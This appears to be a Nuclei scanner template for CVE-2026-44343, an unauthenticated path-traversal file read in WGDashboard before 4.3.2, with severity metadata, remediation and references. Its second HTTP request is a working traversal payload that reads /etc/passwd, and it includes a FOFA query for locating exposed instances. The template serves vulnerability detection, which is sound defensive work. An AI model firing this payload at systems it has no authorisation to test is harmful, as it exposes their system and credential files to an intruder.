id: CVE-2026-44343 info: name: WGDashboard < 4.3.2 - Unauthenticated File Read author: str4k3r severity: critical description: | WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication. impact: | Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system. remediation: | Update to version 4.3.2 or later. reference: - https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm - https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2 - https://nvd.nist.gov/vuln/detail/CVE-2026-44343 classification: cve-id: CVE-2026-44343 epss-score: 0.02364 epss-percentile: 0.83479 cwe-id: CWE-22 cvss-score: 9.8 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H metadata: verified: true max-request: 2 vendor: wgdashboard product: wgdashboard fofa-query: title="WGDashboard" tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(tolower(body), "wgdashboard", "wireguard")' condition: and internal: true - raw: - | GET /fileDownload?file=../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "root:x:0:0:")' condition: and # digest: 4a0a00473045022100bd780335193fdbf17137d8e6282d1db735483ed8e493c4a99e91431e6b71172f02205df6368331be9df43f470c38a302b6a82622298294710eb93f0b7ea3bb437a4a:922c64590222798bb761d5b6d8e72950